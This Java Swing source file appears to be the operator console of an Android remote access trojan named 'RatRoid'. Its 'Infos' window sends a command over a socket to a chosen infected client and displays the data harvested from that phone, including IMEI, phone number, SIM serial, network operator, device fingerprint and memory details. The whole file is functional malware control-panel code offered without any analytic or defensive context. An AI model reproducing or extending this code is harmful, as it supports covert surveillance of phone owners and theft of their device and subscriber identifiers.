/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class Infos extends javax.swing.JFrame {

    /**
     * Creates new form Infos
     */
    public Infos(String x) {
        imei=x;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
        setLocationRelativeTo(null);
    }
    

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        buttonget = new javax.swing.JButton();
        infopane = new javax.swing.JTabbedPane();
        jScrollPane1 = new javax.swing.JScrollPane();
        system = new javax.swing.JTextArea();
        jScrollPane2 = new javax.swing.JScrollPane();
        phony = new javax.swing.JTextArea();

        setTitle("Device Informations");
        setMinimumSize(new java.awt.Dimension(600, 320));

        buttonget.setText("Get Info");
        buttonget.setMaximumSize(new java.awt.Dimension(70, 25));
        buttonget.setMinimumSize(new java.awt.Dimension(70, 25));
        buttonget.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                buttongetActionPerformed(evt);
            }
        });
        getContentPane().add(buttonget, java.awt.BorderLayout.PAGE_END);

        system.setColumns(20);
        system.setRows(5);
        jScrollPane1.setViewportView(system);

        infopane.addTab(" System", jScrollPane1);

        phony.setColumns(20);
        phony.setRows(5);
        jScrollPane2.setViewportView(phony);

        infopane.addTab("Telephony", jScrollPane2);

        getContentPane().add(infopane, java.awt.BorderLayout.CENTER);
    }// </editor-fold>//GEN-END:initComponents

    private void buttongetActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttongetActionPerformed

        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                data(Main.threads);
                data(Main.threads);
                buttonget.setText("Refresh Infos");
                return null;
            }
        };
        worker.execute();
        
        
             
    }//GEN-LAST:event_buttongetActionPerformed
    public void data(ThreadHandle thlist) {
    
                
            for (final Clients client1 : thlist.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
                if(client1.available){
             client1.available=false;  
             client1.doing=" This Client is getting device informations, please try again in a second ";
             try {
                out = new PrintWriter(client1.getsocket().getOutputStream());
                
                out.println("inf"+imei);
                out.flush();

                is1 = client1.getsocket().getInputStream();
                ois1 = new ObjectInputStream(is1);
                 recep1 = (String[]) ois1.readObject();
                 if(recep1[0].equals("err")){buttonget.setText("Please Refresh");}
                 else{
                 String systext = "+-+-+-+-+-+-+ +-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+\n|D|e|v|i|c|e| |S|y|s|t|e|m| |I|n|f|o|r|m|a|t|i|o|n|s|\n+-+-+-+-+-+-+ +-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+\n\n";
    	         systext += "\n MANUFACTURER :        " + recep1[0].toUpperCase();
                 systext += "\n Device Model :        " + recep1[1].toUpperCase();
                 systext += "\n Display ID :          " + recep1[2].toUpperCase();
                 systext += "\n Device FINGERPRINT :  " + recep1[3].toUpperCase();
                 systext += "\n Host  :               " + recep1[4];
                 systext += "\n Current User :        " + recep1[5];
                 systext += "\n OS Version :          " + recep1[6];
                 systext += "\n OS API Level :        " + recep1[7];
                 systext += "\n Phone Up Time :       " + recep1[8];
                 systext += "\n SD Card Total Memory  :            " + recep1[9] +" Mb";
                 systext += "\n SD Card Available Memory :         " + recep1[10]+"Mb";
                 systext += "\n Device Total Internal Memory :     " + recep1[12]+"Mb";
                 systext += "\n Device Available Internal Memory : " + recep1[11]+"Mb";

                 system.setText(systext);
                 
                 String phonetext = "+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+\n|T|e|l|e|p|h|o|n|y| |I|n|f|o|r|m|a|t|i|o|n|\n+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+\n";
                 phonetext += "\n IMEI  :                 " + recep1[13];
                 phonetext += "\n Phone Number  :         " + recep1[14];
                 phonetext += "\n Country Code  :         " + recep1[15].toUpperCase();
                 phonetext += "\n Network Operator Name : " + recep1[17];
                 phonetext += "\n Network Operator Code : " + recep1[16];
                 phonetext += "\n Network Type  :         " + recep1[18];
                 phonetext += "\n Phone Type  :           " + recep1[19];
                 phonetext += "\n SIM Operator Name  :    " + recep1[20];
                 phonetext += "\n SIM Operator code  :    " + recep1[21];
                 phonetext += "\n SIM Serial   :          " + recep1[22];
                 
                 phony.setText(phonetext);}
                 client1.available=true;
                }
             catch (IOException e) {
                client1.available=true;
                 this.dispose();
                
            }
             catch (ClassNotFoundException ex) {
             client1.available=true;

             }
          catch(NullPointerException e){
            client1.available=true;
       }
                 
                 
                }
                else {
               Thread msgThread = new Thread(new Runnable() {
                           @Override
				public void run() {
                               JOptionPane.showMessageDialog(null,client1.doing , "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                }});
                       msgThread.start();
           }  
            }
                 } 
    
}
     private ObjectInputStream ois1;
     private InputStream is1;
     private String[] recep1;
     private PrintWriter out;
     private String imei;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton buttonget;
    private javax.swing.JTabbedPane infopane;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JTextArea phony;
    private javax.swing.JTextArea system;
    // End of variables declaration//GEN-END:variables
}
